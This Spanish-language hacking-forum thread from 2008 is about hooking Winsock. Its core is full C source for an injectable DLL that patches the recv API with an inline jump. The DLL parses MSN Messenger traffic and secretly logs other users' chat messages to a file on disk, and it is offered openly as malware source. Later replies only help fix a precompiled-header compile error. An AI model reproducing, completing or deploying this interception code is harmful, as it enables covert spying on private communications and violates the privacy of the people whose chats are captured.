Páginas: [1]
|
 |
|
Autor
|
Tema: [+]Hookear winsock (Leído 607 veces)
|
|
|
E0N
Lab &
Colaborador
Conectado
Mensajes: 2.591
Por variar un poco de avatar.. :P
|
Existe algun coder de una dll para poder interceptar los datos del winsock??? Haztelo tu, no seas vago xD http://foro.elhacker.net/index.php/topic,196251.0.htmlEl tuto de hacer rootkits te vale para lo q kierse hacer, solo q en vez de enganchar FindNextFile enganchas las apis q necesites para lo q kieras. (aparte tb hay mucha info por internet) Tb creo recordar q MazarD liberó la misma libreria que usó para su Msn Nightmare q hace lo q tu kieres hacer... salu2
|
|
|
|
|
En línea
|
|
|
|
RED_HORSE
Desconectado
Mensajes: 95
|
Aca encontre un buen coder de como hacer una dll par captar los datos del winsock. Lu unico es que no logro compilar AYUDA EON Alguien me lo puede pasar ya compilado//Interceptación de apis by MazarD (API HOOKING) //Hook a WINSOCK //www.mazard.info #include <windows.h> #include <stdio.h>
//Puntero al buffer donde guardaremos las instrucciones copiadas de la api y //el salto a la api+5 BYTE *Buffer;
struct infoConverses { SOCKET sckMSN; char correu[5000]; }msnFuckit[20];
struct paquetes { SOCKET s; char *buf; int len; int flags; }paquete;
int cntscks=-1;
//Ésta es la dll donde reside la api Recv y Send char Libreria[]="WSOCK32.dll";
char LogMsn[MAX_PATH]="c:\\logmsn.txt";
//El api en qüestión char NomApi[]="recv";
//Variable Booleana Flag bool blockrec=false;
//Funcion a la que llamará el programa principal creiendo que es la api original int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags);
void Hookear(void);
void Filtrar(void);
//Puntero a función, utilizando este puntero conseguiremos ejecutar el código contenido en el buffer int (__stdcall *pBuff)(SOCKET s,char *buf,int len,int flags);
//La función de reemplazo explicada arriba
int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags) {
int res;
res=pBuff(s,buf,len,flags);
paquete.s=s; paquete.buf=buf; paquete.len=len; paquete.flags=flags; Filtrar();
return (res); }
void Hookear(void) { DWORD ProteVieja; BYTE *DirApi; BYTE *DirYo; //Cojemos la dirección de memoria de la api DirApi=(BYTE *) GetProcAddress(GetModuleHandle(Libreria),NomApi);
//Creamos 10bytes de memoria para nuestro Buffer if ((Buffer=(BYTE *)malloc(10))==NULL) return; if (VirtualProtect((void *) Buffer,12,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;
//Buffer=(BYTE *)malloc(10);
//Le damos todos los permisos a los 10 bytes de nuestro Buffer //VirtualProtect((void *) Buffer, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);
//copiamos los 5 primeros bytes originales de la api antes de machacarlos memcpy(Buffer,DirApi,5); Buffer+=5; //En el sexto introducimos E9 que corresponde a jmp(salto //incondicional) en código máquina para que salte a la api original *Buffer=0xE9; Buffer++;
//A partir del septimo metemos 4 bytes que determinan la distancia del salto //desde el buffer hasta la Dirección de la api+5 *((signed int *) Buffer)=(DirApi+1)-Buffer;
//Asignamos al puntero a funcion pBuff el inicio del Buffer pBuff = (int (__stdcall *)(SOCKET,char*,int,int)) (Buffer-6);
//Le damos todos los permisos a los 5 primeros bytes de la api original //VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja); if (VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;
//Cambiamos el tipo a puntero a byte para facilitar el trabajo DirYo=(BYTE *) FuncioRep; //En el inicio de la api metemos un salto incondicional hacia nuestro código //E9=jmp *DirApi=0xE9; DirApi++;
//Los 4 siguientes bytes determinan la distancia del salto desde la api hasta //la función de reemplazo en nuestro código, fijate que en este caso el //resultado tiene que ser negativo, puesto que las apis corren en direcciones //de memória mucho mas altas y el salto deberá ser "hacia atrás" *((signed int *) DirApi)=DirYo-(DirApi+4);
//libermos las librerias de cache FlushInstructionCache(GetCurrentProcess(),NULL,NULL); }
void Filtrar(void) { FILE *Archivo; char Escric[1024]; int payl; char cIRO[1024]; char *Ini; char *Ini2; int trobat=0;
if ((Ini=strstr(paquete.buf,"IRO "))!=NULL && strstr(paquete.buf,"@")!=NULL) { trobat=0; Ini=strchr(Ini,' '); Ini++; Ini=strchr(Ini,' '); Ini++; Ini=strchr(Ini,' '); Ini++; Ini=strchr(Ini,' '); Ini++; Ini2=strchr(Ini,' '); *Ini2=0; strcpy(cIRO,Ini); *Ini2=' ';
for (int j=0;j<=cntscks;j++) { if (strcmp(cIRO,msnFuckit[j].correu)==0) trobat=j; } if (trobat==0) { cntscks++; msnFuckit[cntscks].sckMSN=paquete.s; strcpy(msnFuckit[cntscks].correu,cIRO); }else msnFuckit[trobat].sckMSN=paquete.s; }
if (paquete.buf!=NULL && strcmp(paquete.buf,"")!=0 && (Ini=strstr(paquete.buf,"MSG"))!=NULL && strstr(paquete.buf,"Content-Type: text/plain")!=NULL) { Ini=strchr(Ini,'@'); Ini2=Ini; while (*Ini2!=' ') Ini2--; Ini2++; Ini=strchr(Ini2,' '); *Ini=0; strcpy(Escric,Ini2); *Ini=' ';
Archivo=fopen(LogMsn,"a"); fputs("\r\n",Archivo); fputs(Escric,Archivo); fputs(" dice:",Archivo);
Ini2=strchr(Ini,'\r'); Ini=Ini2; while (*Ini!=' ')Ini--; Ini++; *Ini2=0; payl=atoi(Ini); *Ini2='\r'; Ini2+=2; for (int k=0;k<payl;k++) Escric[k]=Ini2[k]; Escric[payl]=0; Ini2=strstr(Escric,"\r\n\r\n"); Ini2+=4;
fputs("\r\n",Archivo); fputs(Ini2,Archivo); fclose(Archivo);
//Archivo=fopen(LogMsn,"a"); //fputs(buf,Archivo); //fclose(Archivo);
}
}
bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
//si se ha entrado en Dllmain porque se acaba de cargar la librería hookeamos if (fdwReason == DLL_PROCESS_ATTACH) {
Hookear();
}
return TRUE; }este es el error que me da: --------------------Configuration: pueva2 - Win32 Debug-------------------- Build : warning : failed to (or don't know how to) build 'D:\Archivos de programa\Microsoft Visual Studio\MyProjects\pueva2\Debug\pueva2.pch' Compiling... pueva2.cpp d:\archivos de programa\microsoft visual studio\myprojects\pueva2\pueva2.cpp(225) : fatal error C1010: unexpected end of file while looking for precompiled header directive Error executing cl.exe.
pueva2.dll - 1 error(s), 1 warning(s)
|
|
|
|
« Última modificación: 27 Febrero 2008, 07:51 por RED_HORSE »
|
En línea
|
|
|
|
E0N
Lab &
Colaborador
Conectado
Mensajes: 2.591
Por variar un poco de avatar.. :P
|
Man, aki no le hacemos el trabajo a nadie, tienes el code de la dll, te e puesto un tuto de como hoohkear cualkier api.. q mas kieres? q te la compilemos? por tu bien yo no aceptaria una dll de nadie compilada y la inyectaría... Usa el modo release si no vas a debugear y mira bien q tipo de proyecto eliges en el VC 
|
|
|
|
|
En línea
|
|
|
|
Eternal Idol N&P
Desconectado
Mensajes: 1.274
Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)
|
Desactiva las cabeceras precompiladas ... (precompiled headers).
|
|
|
|
|
En línea
|
be closely tied to (v.) = estar estrechamente ligado a Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.
"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este" Juan Domingo Peron
|
|
|
LixKeÜ
Desconectado
Mensajes: 351
solo es lo que es y la verdad siempre da de ganar
|
Muy bueno el coder se agradese  yo ya lo compile tienes que poner en win32 Release y no usar precompiled headers todo esto lo usas de proyecto----propiedades salu2 sirlix
|
|
|
|
« Última modificación: 27 Febrero 2008, 15:31 por LixKeÜ »
|
En línea
|
|
|
|
|
Páginas: [1]
|
|
|
|